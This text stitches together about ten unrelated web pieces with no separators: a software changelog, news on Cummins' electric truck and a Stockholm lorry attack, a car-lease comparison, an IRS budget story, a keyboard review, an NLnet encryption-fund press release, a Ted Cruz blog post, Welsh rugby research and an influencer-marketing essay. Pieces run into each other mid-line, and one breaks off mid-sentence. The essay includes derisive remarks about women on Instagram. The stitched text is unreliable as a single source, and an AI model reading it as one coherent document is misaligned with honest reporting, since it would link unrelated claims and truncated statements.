– “Open SynergyKM Preferences” menu item opens prefpane much faster now
– Refactored code, replaced deprecated methods, and removed unused code
[Bug Fixes]
– Fixed “Switch on Double-Tap” bug where value wasn’t saving
– Fixed bug where user couldn’t apply changes after a screen was removed
– Fixed bug where prefpane could sometimes loose focus when starting Synergy
– Fixed bug where prefpane wouldn’t open and daemon wouldn’t work if there wasn’t a hostname set (this also fixed “unhandled AppleScript event” bug)
– Fixed bug where client check time (in Advanced server prefs) would be lost if user changed time, then disabled client checks, then enabled client checks
– Now opens the correct daemon if multiple copies exist on computer
– Fixed alt/opt and command key remapping bug
– Now saves server configuration if you switch to client mode and vise-versa, even after saving changes
– Fixed quarantine problem with the installer
– Status menu visibility checkbox now saves user preference
– Status menu visibility checkbox state is now based off user preference
Download Here!
P.S. Sorry for the quick and dirty website, but I’ll work on it next.CLOSE The 18,000 lb. truck, which can travel 100 miles on a charge, is designed for local deliveries. Nate Chute/IndyStar
Cummins, the engine maker, presents its electrified truck (Photo11: James Briggs, Indianapolis Star)
INDIANAPOLIS -- There aren't many people who'd mention 98-year-old engine maker Cummins in the same breath as tech darling Tesla. But Cummins is trying to change that.
Cummins for decades has specialized in producing profitable, yet uninspiring — to the average consumer, at least — diesel engines for commercial vehicles. Tesla, meanwhile, has risen to prominence in just 14 years by making high-end electric cars that can drive themselves.
But Tesla CEO Elon Musk in April signaled that his company would be encroaching on Cummins' space by introducing an electric semi truck. Although Musk has not elaborated, rumors are swirling that Tesla this month will unveil an autonomouslong-haul truck that can travel for up to 300 miles on a full charge.
Tesla's vague announcement, as well as the speculation that followed, has put Cummins on defense. Cummins touts a portfolio of low-emission diesel and natural gas engines, but it had not taken any major steps toward electric. Cummins in recent weeks has been scrambling to show that it is on board with electric — and, indeed, the company now says it has jumped out in front of Tesla.
Cummins unveiled a concept all-electric truck Aug. 29 in Columbus. It can operate for up to 100 miles on a full charge. (Photo11: AJ Mast, AP Images for Cummins)
Columbus, Ind.-based Cummins on Aug. 29 introduced a truck called Aeos, its first electric truck. The concept vehicle is designed to transport goods around urban areas with a driving range of around 100 miles per day. The unveiling came on the heels of a June announcement in which Cummins said it will produce electric powertrains for buses by 2019.
Analysts have been skeptical that Cummins can play in the same league as Tesla, a company that is focused entirely on electric-powered vehicles. Piper Jaffray analyst Alex Potter in April downgraded Cummins and competitor Paccar because of the threat posed by Tesla.
"Cummins makes diesel engines, but companies like Tesla (among others) are aiming to supplant (Cummins') products," Potter wrote. "These Silicon Valley disrupters are not confining their ambitions to sedans; instead, they have announced plans for electric semis, electric pickups, electric buses, and various other products that defy the preeminence of diesel engines."
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More ominously, Potter added, "when/if electric drivetrains are proven viable in the first commercial vehicle segments, we think incumbents' (such as Cummins) valuations could fall rapidly thereafter."
A team of Morgan Stanley analysts wrote that they can envision a not-so-distant time in which electric-powered engines become marketable.
"We believe an autonomous, electric truck can be a game changer for trucking carriers by significantly lowering operating costs, improving productivity and even driving industry consolidation," they wrote in an April note, adding an autonomous electric truck could be up to 70 percent cheaper to operate than diesel-powered trucks.
"In our conversations with trucking carriers, we believe they would be quite open to using such trucks made by new, non-incumbent (manufacturers) as long as the performance, service and operating costs are superior," the Morgan Stanley analysts wrote. "In fact, we would not be surprised if Tesla revealed large carrier and shipper partners during its truck reveal in September."
Morgan Stanley projects that Tesla can produce 25,000 long-haul tractor-trailers per year. That relatively limited production capacity is one reason why Cummins has confidence that it will remain the company to beat in the commercial truck engine business.
Even if Tesla is ahead of Cummins on technology —- an assertion that Cummins would dispute —- Tesla is still in its manufacturing infancy.
Srikanth Padmanabhan, the president of Cummins' engine business, noted Cummins last year produced about 1.1 million engines. Padmanabhan declined to specify how much money Cummins is investing in electric powertrains, but he said the company has been spending millions of dollars per year for about a decade on the technology.
"In the short term, they might have an advantage," Padmanabhan said. "But in the long run, it is difficult to replicate this — replicate what we have in terms of distribution and support, replicating customer relationships."
Cummins is not going all in on electric. The company remains bullish on diesel, as well as its natural gas engines, which largely power vehicles such as buses and refuse haulers.
"Today, we have most of the natural gas market share here in the United States, but it still is very much a niche product," said Jennifer Rumsey, Cummins' chief technical officer. "This is a bit of looking into a crystal ball and forecasting the future, which, any prediction I give you will be wrong."
Padmanabhan added that manufacturers and truck fleets are not yet clamoring for Cummins to rush into electric engines. Cummins has provided a specific timetable for producing electric powertrains for buses, which Padmanabhan said are already in demand, but it has not set any targets for electric truck engines. AEOS is only a demonstration vehicle.
"The right technology matters as opposed to pushing technology," he said.
Even if Tesla develops a product that resonates with the trucking industry, it has a track record of failing to produce enough vehicles to meet demand. Anyone who orders the company's new mass-market Model 3 sedan, for instance, will have to wait until at least the end of 2018 to receive it.
"The only dealership that you see for some of these other electric players are at the Fashion Mall (at Keystone)," Padmanabhan said, referring to Tesla's Indianapolis showroom. "So, it's the support network, it's the ability to scale up. Scaling up takes time, which is what you're seeing."
Cummins has seemingly insurmountable scale compared to startups such as Tesla. The question is how long Cummins' customers will continue to want what it's building.
And, when those customers decide it's time to go electric, will Cummins be the first name to come to mind?
Read or Share this story: https://usat.ly/2gCvZotIf you shop smart and qualify for the right rebates you can lease the regular Alfa Romeo Giulia for around $299 a month. But if you are in the market for the Quadrifoglio you could be looking at payments upwards of $1,700 a month, making it one of the worst lease values on the market.
This tip comes once again from the excellent pricing experts over at CarsDirect.com and while the normal Giulia can be had for a competitive lease program, the Quadrifoglio is insanely expensive.
Here is what Senior Pricing Analyst Alex Bernstein had to say -
Unfortunately, Alfa Romeo doesn’t have any advertised leases on the Quadrifoglio this month. That’s in contrast to last month, in which official bulletins indicate the automaker was offering the option to lease through Ally Financial. The now-expired offer was listed at (brace for it) $1,511 for 24 months with $4,299 due at signing. Like all Giulia leases, this came with an allowance of 10,000 miles of driving per year. Sound simple? Let’s take a closer look. Factoring in both the payment and amount at signing, this equates to an effective cost of $1,690/month. For some perspective, that’s compared to $456/month for the Giulia Ti assuming you qualify for this month’s $2,750 conquest bonus for coming from a competitor.
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Let’s do a comparison to some other high-end performance cars to show just how off the wall that monthly payment is, shall we? The effective lease on a Quadrifoglio costs just under $1,700 a month on an $85,000 car.
The current special for a Porsche 911 Carrera would be an effective lease payment of $1,400 a month but when you look at the fine print the MSRP on a car that would qualify is over $105,000.
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By going with the Porsche, you would save $300 per month. yet have a car that cost $20,000 more.
BMW is advertising an effective lease on a 2017 M6 Coupe of $1,729 a month. That is a hair over what the Alfa is leasing for, but let’s face it when you are dropping lease payments that look like mortgage payments to many people, an extra $30 or so per month isn’t going to make a difference.
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However, despite the similar payments, the major difference between the two cars is that the BMW would retail for almost $118,000. So for practically the same payment as the Alfa, you could be driving a car with a $33,000 premium.
It seems the only real benefit to leasing the Alfa Romeo Quadrifoglio is the fact that you are likely to get your money’s worth out of the free roadside assistance.The House voted to block performance bonuses for senior Internal Revenue Service executives Wednesday, The Hill reported.
“Giving out bonuses is ludicrous and amounts to a slap in the face to the American public,” said Rep. Paul Gosar, who introduced the amendment. “They should not be given performance awards in the wake of one of the largest scandals in recent history.”
The amendment passed by a vote of 282-138-1, with only Democrats voting against it.
“To suggest and paint with a broad brush the whole IRS and say that everyone there at the senior level is not worthy of a bonus or not worthy of our respect is really to do a disservice to public service employees,” said ranking member Democrat Rep. José Serrano. (RELATED: Steve Stockman Files For Lois Lerner’s Arrest)
The House also passed an amendment prohibiting the IRS from spending money on conferences, with Rep. Ron DeSantis noting that one recent conference alone cost more than $4 million. (RELATED: Lois Lerner Announced Targeting At 2010 Conference)
These are just the latest move in the House’s war on the IRS. Earlier this week it voted to slash the IRS’s budget by $1.14 billion, motivated by anger over the Lois Lerner targeting scandal.
“The IRS is guilty of targeting innocent Americans, now … I am targeting them,” said Rep. Gosar, who also sponsored of one of the amendments that dramatically cut funding.
“We need to keep in mind that the IRS is one of the most feared agencies within the federal government,” said Rep. Bill Huizenga, who introduced a separate budget-cutting amendment, which also passed. “It is up to Congress to prevent the IRS from ever slipping back into its targeting practices. The best way to do that is to force the IRS to consolidate its resources and prioritize. Congress itself has been forced to do this. Our own offices have been forced to do this and there is no reason the IRS cannot follow suit. We cannot allow the IRS to be used as a political weapon.” (RELATED: Lerner Warned Colleagues About Storing Email In 2013)
Gosar’s amendment cut the IRS’s |
the case, which is also something that I am quite a fan of. The Case is held together by a single screw under the “Do Not Remove” sticker, that will void your warranty if broken, and 8 clips, with 4 on the front and 4 on the back. Even with the minimal number of screws, the case was very secure, and in fact was one of the harder keyboards I’ve had to crack open.
Reverse side (rubber pads, feet, etc.)
The underside of the keyboard has a USB Mini B connection in the middle of the keyboard, with 3 routing channels (back left, center, back right) for the cable. The cable is held securely in place by small clips in the channels, which in turn protect the connector in the keyboard from being wiggled around and broken over time. There are 4 rubber feet that keep the keyboard soundly in place, even with heavy typing. The back of the keyboard is not flat like some, but already slightly angled due to a raised section that runs across the back of the keyboard. There are also flip up feet, that are just plastic without any rubber, that can further raise the keyboard. I was slightly worried that I would experience some slippage due to the feet not having rubber, but the keyboard managed to stay in place without any issues thanks to the thickness of the front pads.
Keycaps
The keycaps are thin laser etched ABS, and are generally unspectacular. They are extremely thin and were prone to some shine after a solid week of use. There spacebar has a nice MechanicalKeyboards.com and DISCO logo etched onto it, and the font isn’t bad either. The main purpose of the caps is to allow the light from the RGB LED’s shine through, which they do well. Overall these are pretty much what I’ve come to expect from laser etches ABS keycaps. They are decent enough, but replacing them with a better set of backlit compatible Vortex caps in the future would be a solid upgrade.
Internal Build
Like the MK2016, the DISCO is manufactured by Ducky. As expected, the internals were all very good quality and the soldering work was perfect. You can see in the middle picture above where a switch and 4 pin RGB LED (Red, Blue, Green, Ground) were soldered to the PCB. Unlike some keyboards I’ve tested where the soldering joints are all different sizes, the DISCO had very uniform solder joints across the board. The DISCO PBT wasn’t branded by Ducky like the MK2016 was, probably because this is a PCB that is brand new, whereas the MK2016 was using the Premier PCB.
Switches
There are currently 4 different types of KBT switches available (Red, Black, Blue, Brown). My sample unit came with Brown switches. There was some speculation on the forums as to who manufactures the KBT switches. MechanicalKeyboards.com later posted that Greetech was behind manufacturing the switches for KBT. After using the switches for a solid week I can say that I definitely enjoyed them more than Cherry MX Browns, but slightly less than Gaterons. They are actually very smooth and have a slightly more noticeable bump than Cherry Browns, which is a very good thing in my opinion. The switches also have clear top housings which helps make the lighting disperse more evenly. Finally, the larger stabilized keys use Cherry stabilizers. Benefits of Cherry stabilizers are that they make swapping out keys extremely easy, with the downside being that they can feel mushy in some instances. For the DISCO, they felt just about as good as I’ve ever experienced. The larger keys remained crisp and felt uniform with the rest of the board.
Layout and Function Keys
The DISCO has a standard ANSI layout, meaning if you do get any aftermarket keycaps, they should fit on the DISCO without any issues. There are 4 DIP switches on the back of the DISCO to allow for more customization as well. Unlike the MK2016 I was very happy to see that I could swap the CTRL/CAPS position on the DISCO. Keep in mind that you have to reset the keyboard by unplugging it before a DIP switch effect will take place! Here is a full chart of the DIP switch capabilities:
ON OFF Default Setting DIP 1 Left CTRL & Caps (Exchange Position) Retains Position Off DIP 2 Alt and Windows Key (Exchange Position) Retains Position Off
DIP 3 Windows Key Lock Windows Key On Off
DIP 4 6 Key-Rollover N Key-Rollover Off
Now, for the lighting. Instead of trying to chart out all of the lighting effects I thought it would be easier and more clear to simply include pictures of the manual. I have also included a video showcasing most of the modes. Overall I was quite pleased with the capabilities of the DISCO. I extensively tested the modes and found them to be quite customizable and useful. I also tried to see if I could replicate some of the bugs that the Ducky Shine 5 has with some of the lighting modes. As of this moment I was unable to find any bugs in the DISCO, but will report back here if that changes. I personally really like being able to customize the lighting from the keyboard without the need for additional software, though this does limit how deeply you can customize the lighting as well.
Summary & Conclusion
Overall the DISCO is quite a steal. I wasn’t able to find any big issues with the DISCO, and overall was extremely impressed by it. The KBT switches were surprisingly nice, and the lighting modes were fantastic and highly customizable. The real winner though, is the price. At $120 this beats out the competition by a mile in terms of pricing, and should definitely be considered if you are in the market for an affordable RGB keyboard.
Pros
Price is very competitive
The lighting modes are impressive
The internal build quality is superb, as is expected from a Ducky product.
USB Mini B connector
DIP switches provide good customization
Included accessories are great
Cons
Keycaps aren’t very good
Not as many switch options as I’d like.
Final score:8.5/10
Full Gallery
Where to Buy
MK2016 on MechanicalKeyboards.com
Disclaimer: The same keyboard was provided courtesy of MechanicalKeyboards.com, and is in no way a paid review/advertisement.Dutch Ministry of Economic Affairs donates 0.5 million to "Internet Hardening Fund"
Collaborative investment in security of shared infrastructure of the internet
Dit bericht in het Nederlands
Amsterdam/The Hague, December 16th, 2016 — The Netherlands Ministry of Economic Affairs is contributing half a million euro to the "Internet Hardening Fund", a new fund that invests in strenghtening the underlying infrastructure of the global internet. The fund aims to give a direct impulse to the technical and operational basis of a safer and more secure internet, and to contribute to improving the availability of high-end encryption mechanisms. The fund is operated by NLnet Foundation, the public benefit organisation set up by the Dutch pioneers that helped introduce the internet in Europe in the eighties.
The main focus of the new Internet Hardening Fund is twofold: on the one hand supporting high end open source encryption software used in the infrastructural layer, and on the other hand development and strengthening of the underlying internet and web standards in the area of encryption. The fund operates internationally. A new competitive call for proposals is launched every two months. Projects or individuals that request a grant will also automatically enter the competitive open call from NLnet, which additionally increases their chance of funding. Through the fund independent researchers and developers can requests grants in support of their efforts to improve and expand encryption and other means of securing internet communication.
Hardening the internet means we are making it more robust against all kinds of abuse
Cryptography carries the huge responsibility of protecting internet traffic from being tampered with, and there is a lot of catching up to do. The health of the internet is determined to a large extent by its weakest parts. As we've seen demonstrated with the recent large scale attacks, there can be no safe zone on the internet as long as there are weaknesses that can be exploited at a very large scale. With the Internet Hardening Fund we can use the collective power of the technical community and the instrument of open source to help raise the level of security for everyone.
, says Marc Gauw, general director of NLnet foundation,
The Netherlands government has recently been increasing its support for open standards and open source, and has maintained a strong and well-informed position on encryption. In december 2015, the Netherlands House of Representatives made a clear statement in support of that position when it unanimously accepted a motion by D66 MP Kees Verhoeven. This motion urged the cabinet to support the open source communities that are responsible for maintaining critical parts of the internet infrastructure, stating that encryption is a necessary prerequisite for the freedom and safety of people, and important to protect the right to freedom of expression and to protect trade secrets. I think we all agree that a strong, secure and open internet is vital for both society and the global economy says Marc Gauw, The Internet Hardening Fund is set up to harness the talent of developers and technical community to continue to come up with solutions in a transparent, cost-effective and bottom-up way. We hope many other stakeholders - private and public alike - will see the huge benefits of this approach and will follow the lead of the Netherlands government.
Not to be published
Read the letter of minister Henk Kamp to Dutch Parliament with the announcement.
More information about the "Internet Hardening Fund" can be found on its homepage:
About NLnet Foundation
NLnet foundation is an independent organisation whose means come from donations and legacies. The history of NLnet goes back to 1982 when a group of Europeans led by former NLnet director and member of the Internet Hall of Fame Teus Hagen announced the European Unix Network (EUnet) which became the first public wide area network in Europe and the place where internet was introduced to Europe. NLnet also pioneered the worlds first dial-in and ISDN infrastructure with full country coverage. In 1997 all commercial activities were sold to UUnet (now Verizon) and since that time NLnet has focussed on supporting the open internet, and the privacy and security of internet users.
Its private capital ensures an absolute independent position. The articles of association for the NLnet foundation state: "to promote the exchange of electronic information and all that is related or beneficial to that purpose". NLnet's core business is to support independent organizations and people that contribute to an open information society and to a safe, secure and open internet.
A number of times a year NLnet organises a worldwide open call for projects to be supported. The long list of NLnet-supported projects includes NLnet Labs, Tor Hidden Services, Unhosted, Qubes, NOMA, Lantern project, FLOSS Manuals, KORUZA, RFID Guardian, WebODF, Jitsi, ARPA2, NoScript, CeroWRT and GNUnet.
Developers and researchers are invited to apply for grants.
https://nlnet.nl
For further information contact NLnetImage copyright AFP Image caption The lorry was driven into the front of a department store
Swedish police have confirmed they discovered a suspect device inside the lorry which was driven into a Stockholm department store on Friday.
The device was found in the driver's seat, National Police Commissioner Dan Eliasson said, but it was not known whether it was a bomb.
Mr Eliasson also said the suspect in custody was from Uzbekistan, 39, and known to security services.
The hijacked lorry was driven into Ahlens department store in the capital.
Four people were killed - 10 remain in hospital, including a child. Two are in intensive care.
Eyewitnesses: Lorry was 'trying to hit people'
Late on Saturday, police in the Norwegian capital, Oslo, found a "bomb-like device" in the Groenland district of the city and detained a man.
The area was cordoned off and a controlled explosion carried out. Police say further investigations are continuing.
What do we know about the Stockholm suspect?
The suspect, who was not named, was known to the security services.
However, he had only been seen as a "marginal character", Mr Eliasson said.
The head of Swedish security police, Anders Thornberg, said the suspect was "a person who has previously figured in our intelligence flow".
Image copyright Swedish police Image caption Police wanted to speak to this man - a suspect matching his description was later arrested
It is not clear if the suspect was resident in Sweden.
Mr Eliasson said police had reason to believe the suspect was the man behind the attack.
But he added: "We still cannot rule out that more people are involved."
On Saturday, there were reports of more police raids in Sweden. However, police told Reuters they had not made any further arrests.
Was there a bomb in the lorry?
Police say it is too early to tell what the "technical device" in the lorry was - only that "it should not be there".
"I cannot say at this stage that this is a bomb or some sort of flammable material," Mr Eliasson said.
"We are doing a technical investigation."
Media playback is unsupported on your device Media caption What we know about the Stockholm lorry attack
What is the Swedish government doing?
Swedish Prime Minister Stefan Lofven has called it a terrorist attack, with borders tightened at his request.
"Terrorists want us to be afraid, want us to change our behaviour, want us to not live our lives normally, but that is what we're going to do."
"Terrorists can never defeat Sweden, never," Mr Lofven said.
"We're also determined to continue to be an open society; a democratic society."
Image copyright AFP Image caption A memorial has been set up near the site
The mayor of Stockholm, Karin Wanngard, reiterated that Stockholm was open.
"This is not an attack that's about the colour of your skin," she said.
"We can show that with good integration, with an openness and a friendly behaviour, we are stronger together and it doesn't matter where you come from."
Sweden's king, Carl XVI Gustaf, said: "We are all shaken by what has happened."
He added that those "who want to help, are more than those who want to hurt us".
"Unfortunately we've experienced many acts of violence before and we have coped and we will now too."
There will be a minute's silence in Sweden at midday on Monday to commemorate the dead.
Has Sweden experienced similar attacks before?
Sweden has generally low crime rates, and has been ranked as one of the safest countries in the world.
Image copyright AFP Image caption Forensic police are investigating the site of the lorry attack
In 2010, two bombs detonated in central Stockholm, killing the attacker - an Iraq-born Swedish man - and injuring two others.
In October 2015, a masked man who was believed to have far-right sympathies killed a teacher and pupil in a sword attack.
In February, US President Donald Trump cited a non-existent terror attack in Sweden, and blamed it on the country's asylum policy - baffling many Swedes.
Sweden has taken in nearly 200,000 refugees and migrants in recent years - more per capita than any other European country.
However, there was a drop in numbers last year after the country introduced new border checks.
Separately, Sweden is believed to have the highest number of Islamic State group fighters per capita in Europe.
About 140 of the 300 who went to Syria and Iraq have since returned, leaving the authorities to grapple with how best to reintegrate them into society.
Timeline: Vehicle ramming attacks in Europe and the USAs David Corn writes in Mother Jones,
In 2004, companies that owned Austin stores selling sex toys and a retail distributor of such products challenged a Texas law outlawing the sale and promotion of supposedly obscene devices. Under the law, a person who violated the statute could go to jail for up to two years. At the time, only three states—Mississippi, Alabama, and Virginia—had similar laws. (The previous year, a Texas mother who was a sales rep for Passion Parties was arrested by two undercover cops for selling vibrators and other sex-related goods at a gathering akin to a Tupperware party for sex toys. No doubt, this had worried businesses peddling such wares.) The plaintiffs in the sex-device case contended the state law violated the right to privacy under the 14th Amendment. They argued that many people in Texas used sexual devices as an aspect of their sexual experiences. They claimed that in some instances one partner in a couple might be physically unable to engage in intercourse or have a contagious disease (such as HIV) and that in these cases such devices could allow a couple to engage in safe sex. But a federal judge sent them packing, ruling that selling sex toys was not protected by the Constitution. The plaintiffs appealed, and Cruz’s solicitor general office had the task of preserving the law
Sound familiar? You might have seen this video about the law featuring the late Molly Ivins:
Continuing from Corn’s Mother Jones Article,
Cruz’s legal team asserted that “obscene devices do not implicate any liberty interest.” And its brief added that “any alleged right associated with obscene devices” is not “deeply rooted in the Nation’s history and traditions.”
Question 1: Has Ted Cruz ever heard of Ben Franklin?
The brief insisted that Texas in order to protect “public morals” had “police-power interests” in “discouraging prurient interests in sexual gratification, combating the commercial sale of sex, and protecting minors.” There was a “government” interest, it maintained, in “discouraging…autonomous sex.”
Question 2: Would a Cruz administration pursue this interest in masturbation police? How?
Question 3: Is there a government interest in discouraging maturbation if you do it with a partner? (Or partners?)
In perhaps the most noticeable line of the brief, Cruz’s office declared, “There is no substantive-due-process right to stimulate one’s genitals for non-medical purposes unrelated to procreation or outside of an interpersonal relationship.” That is, the pursuit of such happiness had no constitutional standing. And the brief argued there was no “right to promote dildos, vibrators, and other obscene devices.”
Question 4: What counts as an obscene device? Lingerie? Silk Scarves? Feathers? Ice Cubes? Flavored Condoms? Please provide a robust and discreet definition.
Question 5: Can you use obscene devices during procreative sex? In the Catholic Church, it’s all good as long as the penis ends up depositing semen into the vagina. Would that be a policy you would be willing to pursue?
If you are going to be at a Ted Cruz event any time in the near future, please ask him one of these questions! You don’t even have to credit me. Just send me a tweet and let me know what he says.Research by University academics and rugby experts into junior rugby participation in Wales has concluded that Wales’ junior development plan engages players in healthy amounts of rugby activity that is balanced and appropriate at each age and stage of development and that deprivation did not have an effect on the amount of rugby played.
The research was carried out by Professor Gareth Stratton, Mr Charles Winn and Dr Melitta McNarry (Swansea University), Dr Paul Ford (University of Brighton) and Jason Lewis (Welsh Rugby Union).
The team:
Were interested in measuring the investment of time that junior rugby players in Wales give to the sport.
Wanted insight into how this time was apportioned: play in matches, training, or practice, unstructured play.
Sought insight into the effect of deprivation on time spent in rugby and other popular sport activities.
The researchers used a sporting life history questionnaire that was used in junior football. The questionnaire asked about time spent in matches, training and play from the age of 6 through to 15. The data was split into mini (age 6-10 years) and Junior (11-15 years) rugby age groups.
The players who completed the questionnaire were U15 Dewar shield squad members. Five hundred and ninety took part from across all 26 districts in Wales.
The researchers found:
During the mini-rugby stage players accumulated an average of 113, 89, and 43 hours per year in rugby play, practice and competition, respectively.
players accumulated an average of 113, 89, and 43 hours per year in rugby play, practice and competition, respectively. During the junior rugby stage players accumulated 179, 115 and 64 hours per year in rugby practice, play and competition, respectively.
players accumulated 179, 115 and 64 hours per year in rugby practice, play and competition, respectively. Between 5 and 16 years of age these players invested an average of nearly 2000 hours into rugby. This was equivalent to nearly two years in school.
The average group (Third Quintile)
Professor Gareth Stratton, Professor in Paediatric Exercise Science, Swansea University speaking on behalf of the research team said:
“When all eyes are focused on the performance of our teams as they battle for the 6 Nations honours the findings from our research are vital for the development of junior rugby in Wales.
“We found that the focus of time spent up to the age of 12 is on play and practice. Competition increases from U12 but is still less than the sum of play and practice. This is an effective strategy to maintain interest and develop players at a junior age.
“The amount of time spent in rugby activities was equivalent to 2 years in school. This is a significant investment and the WRU need to make sure that there are opportunities for players to receive a return on their time investment by having supportive playing structures maintaining players interest through to the adult game.
“Junior rugby union players spend much less time (2000 hours) in the sport than junior football players (around 4000 hours). This is supportive of the early diversification pathway where players do not focus all their time on rugby but try other sports.
“Wales’ junior development plan engages players in healthy amounts of rugby activity that is balanced and appropriate at each age and stage of development.
“Deprivation did not have an effect on rugby hours accumulated which confirms that rugby union meets the criteria for a national sport that reaches every community in Wales and is effective in providing match, practice and play opportunities for players. Although accumulated deprivation did have an effect on participation with fewer “other sports” played in more deprived groups.”If you post about marketing and have writer's block, you can always ponder whether some recent negative news over some marketing tactic will lead to the 'death' of that practice. It's unoriginal and cliched, but people will read it – even though the answer is always no.
While I was on holiday and giving a talk in Dublin last month on the biggest lies in digital marketing as part of my work as a marketing keynote speaker, Vanessa Friedman used the recent debacle of the Fyre Festival in the Bahamas and its promotional partnerships with Hailey Baldwin, Bella Hadid, Kendall Jenner and Emily Ratajkowski to discuss 'The Rise and (Maybe) Fall of Influencers' in the New York Times:
“‘The influencer bubble will totally collapse in the next 12 months if people aren’t very careful about the money being thrown around as brands try to buy influencer placement,’ said Caroline Issa, the fashion director and chief executive of Tank magazine and a street-style star-turned-occasional Influencer.
"Since being what used to be called a ‘tastemaker’ became a job, and word-of-mouth tips became known as ‘influencer marketing,’ attention has been focused largely on the risks to brands in linking up with individuals.”
For those who might have missed the news, the Fyre Festival story began with advertisements like this one that included the aforementioned influencers:
(See more in the pitch deck that was obtained by Vanity Fair.) In reality, the luxury meals turned out to be two slices of bread and cheese with a few pieces of lettuce and tomato served with some dressing. The five-star accommodations were disaster relief tents. Feral dogs roamed the 'private' island, and festival attendees were stranded without water and air conditioning. What was billed as a luxury Coachella turned out to be a millennial Katrina.
In response, Amelia Tait wrote in the New Statesman that the event “conclusively proves both that influencer marketing works – and that it shouldn’t be allowed to”. Dani Simpson opined in PR Week that influencers “need to take responsibility for the weight of their personal brands and the impact their influence can have on their followers”. Davis Richardson stated in Wired that “the influencer model is now in jeopardy. And maybe that’s not a bad thing”.
Nothing will change. The Fyre Festival was terrible, but there is little that can be done to prevent anything similar from happening again. Besides, the influencers and marketers were responsible only for getting people to buy tickets. The fault lies with the event organisers on the ground, who were evidently more inept than Ashlee Simpson was at singing.
If you read too many clickbait marketing articles from people who are desperate for pageviews, you will fall under the illusion that marketing communications is constantly changing and that one thing or another is always 'dying' or 'broken'. But marcom never really changes – and when it does, it changes very, very slowly. (What does change are the channels at our disposal and the marketing collateral formats that they allow. The internet is just a new set of channels over which marketing tactics can be done.)
Influencer relations has always existed and will always exist. (Yes, I wrote 'influencer relations' and not 'influencer marketing' – more on that below.) One element of the traditional promotion mix within marketing communications is public relations (also called external communications). As defined by the Public Relations Society of America, PR is “a strategic communication process that builds mutually beneficial relationships between organisations and their publics”.
Under the umbrella term of 'public relations', there are specific practices such as media relations and community relations. In media relations, people might form relationships with journalists by giving exclusives to reporters in the hope that it will result in favorable publicity in the future. In community relations, company representatives might meet with neighbourhood residents who live near a factory to discuss environmental concerns or form an online community of product users with the goal of creating brand advocates.
In the same way, influencer relations has always been a PR tactic – even if the word 'influencer' had never been used until recently. Influencer relations is the action of building mutually beneficial relationships between an organisation and relevant celebrities or thought leaders of one type or another.
But first, an important note: people who say 'influencer marketing' are using an incorrect term. And words matter. Marketers who write generic phrases like '[random noun] marketing' are using phrasing that is too vague and imprecise to be useful – and a lot of that comes from the fact that many digital marketers have not been classically trained in marketing.
A past example of influencer relations
The use of 'influencers' is not new. Starting in the 1930s, the American cereal Wheaties used athletes to reinforce an ingenious "Breakfast of Champions" slogan that was remarkably effective in building a desired connotation among a mass audience. By the 1960s, the company had almost a 7% market share among all cereal brands (although it has since declined significantly).
Companies and their celebrity endorsers facing controversy is also nothing new. Here are just a few that were catalogued by NBC News: Kellogg’s and Olympic swimmer Michael Phelps, Nike and New York Yankees baseball player Alex Rodriguez, Wrigley’s and singer Chris Brown, and Subway and pitchman Jared Fogle. Most recently, CNN and Squatty Potty dealt with comedian Kathy Griffin’s 'beheading' of Donald Trump.
Cracked has more examples of influencers gone bad. So does BuzzFeed. More recently, there was Jenner (again) with Pepsi. I doubt that Bill Cosby will be selling any Jell-O Pudding Pops in the future. But influencer relations has always remained despite the bad results that happen from time to time. Why? “Nothing sells like celebrity.” It’s usually worth the risk – after all, one survey found that Pepsi’s brand favourability actually increased following the Jenner spot. (But Jenner’s did not.)
The difference in influencers today
Of course, there are some differences today. In the past, celebrity endorsements were often done through the product labeling of Wheaties cereal boxes and late actor Paul Newman’s food products or through advertising on third-party channels such as print and TV. It was always obvious that the 'influencer' is being financially compensated.
Today, many companies form relationships with influencers through the mediums that they personally use such as Instagram – although the social networks still legally 'own' the user accounts – so it is less obvious when images are commercially sponsored. (Is she wearing that dress in that photo because she likes it or because she is being paid? The US Federal Trade Commission is rightly concerned.)
But while the tactics and channels change, the overall idea remains the same. Those who think that influencer relations – or any of the many other marketing methods touted today as 'new' – is something original should remember this from Dave Trott:
“New words are more attractive than old words.
"Because you don’t have to do the hard work of having a new thought.
"You just change the word and it looks like you’ve had a new and intelligent thought.”
Influencer relations will always survive in one form or another – and today, many practitioners are taking advantage of the rise of Instagram and its users with massive followings. (This tactic also allows marketers to bypass ad blockers, which will increasingly hurt martech and adtech platforms.)
Instagram has continued to soar while Snapchat is becoming desperate following a lacklustre IPO. First, Snapchat is trying to gain more advertisers through sales promotions, which almost always hurt brands in the long term by making them look cheap and causing a downward spiral in the prices that people are willing to pay. Second, the company is trying to force users to agree to be tracked in exchange for the ability to use basic filters. That intrusion is hardly worth a set of virtual dog ears. And I’m not even discussing the new, annoying direct-response ads.
If I were a betting man, I would say that Instagram, which is owned by Facebook, is trying to contain Snapchat while deploying almost-identical features in blitzkrieg fashion to stem the latter’s user growth. As a probable result, I have yet to see Snapchat mentioned in a major news event – good or bad – in a way like the Fyre Festival.
The dark side of influencer relations
Despite the pleas from marketers with their hearts in the right places for someone, somewhere to do something to prevent another Fyre Festival, nothing will happen and there will be no increased enforcement of regulations. The US kompromat administration under president Trump is the most business-friendly one in history. People would still have gone to the event if the influencers had put the hashtag '#ad' in a comment way down at the bottom of their Instagram posts. Nothing would have changed.
Young people are young people. They like music, dancing, parties and booze. Young men like attractive young women. They want to meet and be like their idols. Many of them have little life experience. They are easily fooled and often act foolish. Same as it ever was. How many young women wanted 'The Rachel' haircut in 1995? (I’ll even point the finger at myself: In high school in the 1990s, I grew out my hair to have a 1970s haircut like Justin Hayward of the Moody Blues for far too long.)
But the dark side of influencer relations today stems beyond bad haircuts. The actors and athletes who appear in TV and print advertisements and on Wheaties cereal boxes trained for years to hone their crafts to achieve extraordinary things. They are often worthy of being role models. Many Instagram celebrities are women in dire need of sandwiches who dress in bikinis and pout their lips a little closer each day towards becoming frozen in duckface. (15 years ago, I wondered something similar: why, exactly, is Paris Hilton famous?)
Bob Garfield put it best at MediaPost when he wrote that they are “insta-escorts” who “preen for money”. Most have done nothing to warrant attention and admiration – they have merely won the genetic or parental lottery. (Leaving the rest of us in the Shirley Jackson version, I suppose.)
'Modeling' is not even an accurate term for Instagram influencers. Most traditional modeling is not only about being beautiful. Models are essentially human clothes-hangers. Top-tier models need a specific height, weight and set of body measurements – more than just a pretty face – to ensure that the clothes are displayed in a desired way. It’s also why most models in photos, fashion shows, and advertisements never smile – they do not want to distract from the clothes.
